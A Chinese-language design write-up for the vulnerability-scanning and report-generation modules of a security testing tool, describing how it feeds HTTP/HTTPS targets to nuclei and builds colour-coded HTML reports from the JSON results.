从用户角度考虑、提升用户体验、加快工作效率 工具支持单个目标和从文件中批量获取目标。 漏洞扫描 工具想法 市面上公开的漏洞脚本最多非nuclei莫属。无论是工具本身还是资源都是无法撼动的,毫无疑问nuclei作为本功能的测试工具。 其实在端口识别结束后就可以直接使用本功能进行漏洞扫描,之所以中间加了两个步骤主要是为了目标精准化。测试出来的端口不单单只有http和https协议类型,还有其他类型的例如ssh、mysql等。 通过nmap协议识别后单独挑出使用http和https的服务进行漏洞扫描,可以大大减少服务器压力。 工具主要功能及运作逻辑 该功能分别可以在端口测试、协议识别、指纹识别功能运行结束后运行本功能。读取各功能处理过的文件获取到目标,然后进行漏洞扫描。扫描完成后保存原始扫描结果为result.json。 从用户角度考虑、提升用户体验、加快工作效率 工具支持单个目标和从文件中批量获取目标。 实时显示处理进度。 支持自定义并发数、超时时间、重试次数。 漏扫报告输出为json格式。 使用ijson库来大批量处理。 生成报告 工具想法 针对nuclei的漏洞扫描结果形成高可读性的漏洞报告。 工具主要功能及运作逻辑 设计脚本首先对result.json文件进行内容提取,结果另存为report.json,再设计脚本让脚本读取report.json中的关键字内容最终形成report.html漏洞报告。 从用户角度考虑、提升用户体验、加快工作效率 最终报告输出为html格式(html基于json形成)。 使用ijson库来大批量处理(实测52.7MB大小的report.json文件,存有21951个漏洞。能在2秒内生成108MB的report.html漏洞报告) 实时显示处理进度。 漏洞报告板块包含报告摘要、漏洞详情。 漏洞等级分为严重、高危、中危、低危且不同威胁等级对应不同颜色。 漏洞相同时多个漏洞内容合并到同一漏洞详情中,减少重复内容。 漏洞详情包含:漏洞名、脚本名、目标地址、漏洞地址、请求包、响应包。 所有内容支持快速复制。 点击不同分类显示相对应的漏洞内容。 目录放在左下角,有效防止内容遮挡。